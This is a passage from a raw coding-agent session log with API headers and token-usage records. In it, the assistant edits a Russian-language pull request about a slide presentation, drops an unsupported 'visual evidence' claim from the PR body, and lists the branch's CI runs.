\"system\",\n[2026-09-29T08:03:10.106Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T08:03:10.106Z] [INFO]   \"estimated_tokens\": 199,\n[2026-09-29T08:03:10.106Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T08:03:10.106Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:10.106Z] [INFO]   \"uuid\": \"3bb1f265-71f7-4b7a-bcd3-eb25941f6d77\"\n[2026-09-29T08:03:10.106Z] [INFO] }\n[2026-09-29T08:03:10.124Z] [INFO] {\n[2026-09-29T08:03:10.124Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:03:10.124Z] [INFO]   \"message\": {\n[2026-09-29T08:03:10.124Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:03:10.124Z] [INFO]     \"id\": \"msg_011CfXP7ACch9WVUtPVy7fMH\",\n[2026-09-29T08:03:10.124Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:03:10.124Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:03:10.124Z] [INFO]     \"content\": [\n[2026-09-29T08:03:10.124Z] [INFO]       {\n[2026-09-29T08:03:10.124Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T08:03:10.124Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T08:03:10.124Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T08:03:10.124Z] [INFO]     ],\n[2026-09-29T08:03:10.124Z] [INFO]     \"container\": null,\n[2026-09-29T08:03:10.124Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:03:10.124Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:03:10.124Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:03:10.124Z] [INFO]     \"usage\": {\n[2026-09-29T08:03:10.124Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:03:10.124Z] [INFO]       \"cache_creation_input_tokens\": 679,\n[2026-09-29T08:03:10.124Z] [INFO]       \"cache_read_input_tokens\": 89474,\n[2026-09-29T08:03:10.124Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:03:10.124Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:03:10.124Z] [INFO]         \"ephemeral_1h_input_tokens\": 679\n[2026-09-29T08:03:10.124Z] [INFO]       },\n[2026-09-29T08:03:10.124Z] [INFO]       \"output_tokens\": 10,\n[2026-09-29T08:03:10.124Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:03:10.124Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:03:10.124Z] [INFO]     },\n[2026-09-29T08:03:10.124Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:03:10.124Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:03:10.124Z] [INFO]     \"context_management\": null\n[2026-09-29T08:03:10.124Z] [INFO]   },\n[2026-09-29T08:03:10.124Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:03:10.124Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:10.124Z] [INFO]   \"uuid\": \"284df500-8144-4815-ac4d-03dee591e04c\",\n[2026-09-29T08:03:10.124Z] [INFO]   \"timestamp\": \"2026-09-29T08:03:10.104Z\",\n[2026-09-29T08:03:10.124Z] [INFO]   \"request_id\": \"req_011CfXP79j6F6njqnKfuYGAv\"\n[2026-09-29T08:03:10.124Z] [INFO] }\n[2026-09-29T08:03:10.189Z] [INFO] {\n[2026-09-29T08:03:10.189Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:03:10.189Z] [INFO]   \"message\": {\n[2026-09-29T08:03:10.189Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:03:10.189Z] [INFO]     \"id\": \"msg_011CfXP7ACch9WVUtPVy7fMH\",\n[2026-09-29T08:03:10.189Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:03:10.189Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:03:10.189Z] [INFO]     \"content\": [\n[2026-09-29T08:03:10.189Z] [INFO]       {\n[2026-09-29T08:03:10.189Z] [INFO]         \"type\": \"text\",\n[2026-09-29T08:03:10.189Z] [INFO]         \"text\": \"Only 7 of 10 slides have a \\\"visual evidence\\\" line, so I'm removing that claim from the PR body before updating the PR.\"\n[2026-09-29T08:03:10.189Z] [INFO]       }\n[2026-09-29T08:03:10.189Z] [INFO]     ],\n[2026-09-29T08:03:10.189Z] [INFO]     \"container\": null,\n[2026-09-29T08:03:10.189Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:03:10.189Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:03:10.189Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:03:10.189Z] [INFO]     \"usage\": {\n[2026-09-29T08:03:10.189Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:03:10.189Z] [INFO]       \"cache_creation_input_tokens\": 679,\n[2026-09-29T08:03:10.189Z] [INFO]       \"cache_read_input_tokens\": 89474,\n[2026-09-29T08:03:10.189Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:03:10.189Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:03:10.189Z] [INFO]         \"ephemeral_1h_input_tokens\": 679\n[2026-09-29T08:03:10.189Z] [INFO]       },\n[2026-09-29T08:03:10.189Z] [INFO]       \"output_tokens\": 10,\n[2026-09-29T08:03:10.189Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:03:10.189Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:03:10.189Z] [INFO]     },\n[2026-09-29T08:03:10.189Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:03:10.189Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:03:10.189Z] [INFO]     \"context_management\": null\n[2026-09-29T08:03:10.189Z] [INFO]   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{\n[2026-09-29T08:03:11.805Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T08:03:11.805Z] [INFO]         \"id\": \"toolu_01Xhu9dUuLN3uuQf5nnHD9pv\",\n[2026-09-29T08:03:11.805Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T08:03:11.805Z] [INFO]         \"input\": {\n[2026-09-29T08:03:11.805Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; sed -i 's/\u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u0430\u044f \u0446\u0438\u0442\u0430\u0442\u0430 \u0438\u043b\u0438 \u043c\u0435\u0442\u0440\u0438\u043a\u0430, \u0432\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u043f\u0440\u043e\u043c\u043f\u0442/\u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u0430\u044f \u0446\u0438\u0442\u0430\u0442\u0430 \u0438\u043b\u0438 \u043c\u0435\u0442\u0440\u0438\u043a\u0430, \u043f\u0440\u043e\u043c\u043f\u0442/' /tmp/pr-body.md; grep -c '\u0432\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e' /tmp/pr-body.md; gh pr edit 648 --title \\\"[creative/docs] \u041f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410 \u0438 \u0441\u0440\u0435\u0434 \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango\\\" --body-file /tmp/pr-body.md >/dev/null && echo updated\",\n[2026-09-29T08:03:11.805Z] [INFO]           \"description\": \"Update PR title and body\"\n[2026-09-29T08:03:11.805Z] [INFO]         },\n[2026-09-29T08:03:11.805Z] [INFO]         \"caller\": {\n[2026-09-29T08:03:11.805Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T08:03:11.805Z] [INFO]         }\n[2026-09-29T08:03:11.805Z] [INFO]       }\n[2026-09-29T08:03:11.805Z] [INFO]     ],\n[2026-09-29T08:03:11.805Z] [INFO]     \"container\": null,\n[2026-09-29T08:03:11.805Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:03:11.805Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:03:11.805Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:03:11.805Z] [INFO]     \"usage\": {\n[2026-09-29T08:03:11.805Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:03:11.805Z] [INFO]       \"cache_creation_input_tokens\": 679,\n[2026-09-29T08:03:11.805Z] [INFO]       \"cache_read_input_tokens\": 89474,\n[2026-09-29T08:03:11.805Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:03:11.805Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:03:11.805Z] [INFO]         \"ephemeral_1h_input_tokens\": 679\n[2026-09-29T08:03:11.805Z] [INFO]       },\n[2026-09-29T08:03:11.805Z] [INFO]       \"output_tokens\": 10,\n[2026-09-29T08:03:11.805Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:03:11.805Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:03:11.805Z] [INFO]     },\n[2026-09-29T08:03:11.805Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:03:11.805Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:03:11.805Z] [INFO]     \"context_management\": null\n[2026-09-29T08:03:11.805Z] [INFO]   },\n[2026-09-29T08:03:11.805Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:03:11.805Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:11.805Z] [INFO]   \"uuid\": \"1576574e-978c-4243-85ae-278aa1b096ba\",\n[2026-09-29T08:03:11.805Z] [INFO]   \"timestamp\": \"2026-09-29T08:03:11.798Z\",\n[2026-09-29T08:03:11.805Z] [INFO]   \"request_id\": \"req_011CfXP79j6F6njqnKfuYGAv\",\n[2026-09-29T08:03:11.805Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T08:03:11.805Z] [INFO]     \"toolu_01Xhu9dUuLN3uuQf5nnHD9pv\": {\n[2026-09-29T08:03:11.805Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; sed -i 's/\u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u0430\u044f \u0446\u0438\u0442\u0430\u0442\u0430 \u0438\u043b\u0438 \u043c\u0435\u0442\u0440\u0438\u043a\u0430, \u0432\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u043f\u0440\u043e\u043c\u043f\u0442/\u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u0430\u044f \u0446\u0438\u0442\u0430\u0442\u0430 \u0438\u043b\u0438 \u043c\u0435\u0442\u0440\u0438\u043a\u0430, \u043f\u0440\u043e\u043c\u043f\u0442/' /tmp/pr-body.md; grep -c '\u0432\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e' /tmp/pr-body.md; gh pr edit 648 --title \\\"[creative/docs] \u041f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410 \u0438 \u0441\u0440\u0435\u0434 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\"x-stainless-retry-count\": \"0\",\n[2026-09-29T08:03:16.378Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T08:03:16.383Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T08:03:16.389Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T08:03:16.395Z] [STDOUT]   },\n[2026-09-29T08:03:16.400Z] [STDOUT] }\n[2026-09-29T08:03:17.238Z] [STDOUT] [log_ceb8d3, request-id: \"req_011CfXP7jExje1VWimWWSy66\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 1145ms\n[2026-09-29T08:03:17.249Z] [STDOUT] [log_ceb8d3] response start {\n[2026-09-29T08:03:17.253Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:17.256Z] [STDOUT]   status: 200,\n[2026-09-29T08:03:17.269Z] [STDOUT]   headers: {\n[2026-09-29T08:03:17.280Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:03:17.282Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:03:17.286Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:03:17.289Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.46\",\n[2026-09-29T08:03:17.292Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:03:17.298Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:03:17.301Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:03:17.304Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:03:17.307Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:03:17.309Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:03:17.311Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:03:17.314Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:03:17.316Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:03:17.318Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:03:17.320Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:03:17.322Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T08:03:17.324Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:03:17.326Z] [STDOUT]     \"cf-ray\": \"a4297869af535d90-FRA\",\n[2026-09-29T08:03:17.329Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T08:03:17.333Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T08:03:17.336Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:03:17.338Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:03:17.340Z] [STDOUT]     date: \"Tue, 29 Sep 2026 08:03:17 GMT\",\n[2026-09-29T08:03:17.344Z] [STDOUT]     \"request-id\": \"req_011CfXP7jExje1VWimWWSy66\",\n[2026-09-29T08:03:17.347Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T08:03:17.349Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:03:17.351Z] [STDOUT]     traceresponse: \"00-6a0a769aed904a837c81e901cc2900d4-9204f4fb9e2e362c-01\",\n[2026-09-29T08:03:17.355Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:03:17.358Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T08:03:17.360Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T08:03:17.362Z] [STDOUT]   },\n[2026-09-29T08:03:17.364Z] [STDOUT]   durationMs: 1145,\n[2026-09-29T08:03:17.366Z] [STDOUT] }\n[2026-09-29T08:03:17.368Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T08:03:17.371Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 08:03:17 GMT\",\n[2026-09-29T08:03:17.374Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:03:17.380Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:03:17.384Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T08:03:17.387Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T08:03:17.389Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:03:17.391Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T08:03:17.394Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T08:03:17.396Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:03:17.398Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:03:17.402Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:03:17.405Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:03:17.410Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:03:17.413Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.46\",\n[2026-09-29T08:03:17.415Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:03:17.418Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:03:17.420Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:03:17.423Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:03:17.427Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:03:17.430Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:03:17.433Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:03:17.437Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:03:17.442Z] [STDOUT]   \"request-id\": \"req_011CfXP7jExje1VWimWWSy66\",\n[2026-09-29T08:03:17.448Z] [STDOUT]   \"traceresponse\": \"00-6a0a769aed904a837c81e901cc2900d4-9204f4fb9e2e362c-01\",\n[2026-09-29T08:03:17.455Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:03:17.465Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:03:17.473Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:03:17.478Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:03:17.481Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:03:17.490Z] [STDOUT]   \"cf-ray\": \"a4297869af535d90-FRA\",\n[2026-09-29T08:03:17.494Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:03:17.503Z] [STDOUT] [log_ceb8d3] response parsed {\n[2026-09-29T08:03:17.511Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:17.513Z] [STDOUT]   status: 200,\n[2026-09-29T08:03:17.516Z] [STDOUT]   body: X {\n[2026-09-29T08:03:17.521Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:03:17.525Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:03:17.529Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:03:17.534Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:03:17.538Z] [STDOUT]     },\n[2026-09-29T08:03:17.544Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:03:17.549Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:03:17.556Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:03:17.562Z] [STDOUT]   },\n[2026-09-29T08:03:17.569Z] [STDOUT]   durationMs: 1146,\n[2026-09-29T08:03:17.575Z] [STDOUT] }\n[2026-09-29T08:03:19.166Z] [INFO] {\n[2026-09-29T08:03:19.166Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:03:19.166Z] [INFO]   \"message\": {\n[2026-09-29T08:03:19.166Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:03:19.166Z] [INFO]     \"id\": \"msg_011CfXP7jhEpqKzW2DVX41hF\",\n[2026-09-29T08:03:19.166Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:03:19.166Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:03:19.166Z] [INFO]     \"content\": [\n[2026-09-29T08:03:19.166Z] [INFO]       {\n[2026-09-29T08:03:19.166Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T08:03:19.166Z] [INFO]         \"id\": \"toolu_01HyeMHWMaeYCbx8iWh1h8R5\",\n[2026-09-29T08:03:19.166Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T08:03:19.166Z] [INFO]         \"input\": {\n[2026-09-29T08:03:19.166Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; gh run list --repo G-Ivan-A/hybrid-Intelligence-lab --branch issue-646-497e337ac092 --limit 5 --json databaseId,conclusion,status,createdAt,headSha,name; cat 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\"cache_read_input_tokens\": 90153,\n[2026-09-29T08:03:19.166Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:03:19.166Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:03:19.166Z] [INFO]         \"ephemeral_1h_input_tokens\": 477\n[2026-09-29T08:03:19.166Z] [INFO]       },\n[2026-09-29T08:03:19.166Z] [INFO]       \"output_tokens\": 16,\n[2026-09-29T08:03:19.166Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:03:19.166Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:03:19.166Z] [INFO]     },\n[2026-09-29T08:03:19.166Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:03:19.166Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:03:19.166Z] [INFO]     \"context_management\": null\n[2026-09-29T08:03:19.166Z] [INFO]   },\n[2026-09-29T08:03:19.166Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:03:19.166Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:19.166Z] [INFO]   \"uuid\": \"2e1be437-a334-4caf-bf45-d5679916ab84\",\n[2026-09-29T08:03:19.166Z] [INFO]   \"timestamp\": \"2026-09-29T08:03:19.156Z\",\n[2026-09-29T08:03:19.166Z] [INFO]   \"request_id\": \"req_011CfXP7jExje1VWimWWSy66\",\n[2026-09-29T08:03:19.166Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T08:03:19.166Z] [INFO]     \"toolu_01HyeMHWMaeYCbx8iWh1h8R5\": {\n[2026-09-29T08:03:19.166Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; gh run list --repo G-Ivan-A/hybrid-Intelligence-lab --branch issue-646-497e337ac092 --limit 5 --json databaseId,conclusion,status,createdAt,headSha,name; cat /tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/bciyyo5i9.output | tail -3\",\n[2026-09-29T08:03:19.166Z] [INFO]       \"description\": \"List CI runs for the branch\"\n[2026-09-29T08:03:19.166Z] [INFO]     }\n[2026-09-29T08:03:19.166Z] [INFO]   }\n[2026-09-29T08:03:19.166Z] [INFO] }\n[2026-09-29T08:03:21.279Z] [INFO] {\n[2026-09-29T08:03:21.279Z] [INFO]   \"type\": \"user\",\n[2026-09-29T08:03:21.279Z] [INFO]   \"message\": {\n[2026-09-29T08:03:21.279Z] [INFO]     \"role\": \"user\",\n[2026-09-29T08:03:21.279Z] [INFO]     \"content\": [\n[2026-09-29T08:03:21.279Z] [INFO]       {\n[2026-09-29T08:03:21.279Z] [INFO]         \"tool_use_id\": \"toolu_01HyeMHWMaeYCbx8iWh1h8R5\",\n[2026-09-29T08:03:21.279Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T08:03:21.279Z] [INFO]         \"content\": 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[INFO]         \"is_error\": false\n[2026-09-29T08:03:21.279Z] [INFO]       }\n[2026-09-29T08:03:21.279Z] [INFO]     ]\n[2026-09-29T08:03:21.279Z] [INFO]   },\n[2026-09-29T08:03:21.279Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:03:21.279Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:21.279Z] [INFO]   \"uuid\": \"9665f873-4965-4bb9-a636-2d476eb03929\",\n[2026-09-29T08:03:21.279Z] [INFO]   \"timestamp\": \"2026-09-29T08:03:21.274Z\",\n[2026-09-29T08:03:21.279Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T08:03:21.279Z] [INFO]     \"stdout\": \"[{\\\"conclusion\\\":\\\"\\\",\\\"createdAt\\\":\\\"2026-09-29T08:02:23Z\\\",\\\"databaseId\\\":36540232170,\\\"headSha\\\":\\\"9fd0ba0e1b332f43e2ad9f360ddde17972266b61\\\",\\\"name\\\":\\\"validate\\\",\\\"status\\\":\\\"in_progress\\\"},{\\\"conclusion\\\":\\\"\\\",\\\"createdAt\\\":\\\"2026-09-29T08:02:20Z\\\",\\\"databaseId\\\":36540227890,\\\"headSha\\\":\\\"9fd0ba0e1b332f43e2ad9f360ddde17972266b61\\\",\\\"name\\\":\\\"validate\\\",\\\"status\\\":\\\"in_progress\\\"},{\\\"conclusion\\\":\\\"success\\\",\\\"createdAt\\\":\\\"2026-09-29T07:43:15Z\\\",\\\"databaseId\\\":36538316955,\\\"headSha\\\":\\\"611336aa85daea757b56bcbe7dbb14fdd0356d9f\\\",\\\"name\\\":\\\"validate\\\",\\\"status\\\":\\\"completed\\\"},{\\\"conclusion\\\":\\\"success\\\",\\\"createdAt\\\":\\\"2026-09-29T07:43:05Z\\\",\\\"databaseId\\\":36538300813,\\\"headSha\\\":\\\"611336aa85daea757b56bcbe7dbb14fdd0356d9f\\\",\\\"name\\\":\\\"validate\\\",\\\"status\\\":\\\"completed\\\"}]\\nPyYAML==6.0.3\\njsonschema==4.26.0\",\n[2026-09-29T08:03:21.279Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T08:03:21.279Z] [INFO]     \"interrupted\": false,\n[2026-09-29T08:03:21.279Z] [INFO]     \"isImage\": false,\n[2026-09-29T08:03:21.279Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T08:03:21.279Z] [INFO]   }\n[2026-09-29T08:03:21.279Z] [INFO] }\n[2026-09-29T08:03:21.331Z] [STDOUT] [log_ae7d73] sending request {\n[2026-09-29T08:03:21.336Z] [STDOUT]   method: \"POST\",\n[2026-09-29T08:03:21.342Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:21.348Z] [STDOUT]   options: {\n[2026-09-29T08:03:21.355Z] [STDOUT]     method: \"post\",\n[2026-09-29T08:03:21.359Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T08:03:21.363Z] [STDOUT]     body: {\n[2026-09-29T08:03:21.366Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T08:03:21.368Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T08:03:21.372Z] [STDOUT]       system: [Array ...],\n[2026-09-29T08:03:21.376Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T08:03:21.380Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T08:03:21.383Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T08:03:21.385Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T08:03:21.387Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T08:03:21.392Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T08:03:21.395Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T08:03:21.399Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T08:03:21.403Z] [STDOUT]       stream: true,\n[2026-09-29T08:03:21.406Z] [STDOUT]     },\n[2026-09-29T08:03:21.409Z] [STDOUT]     timeout: 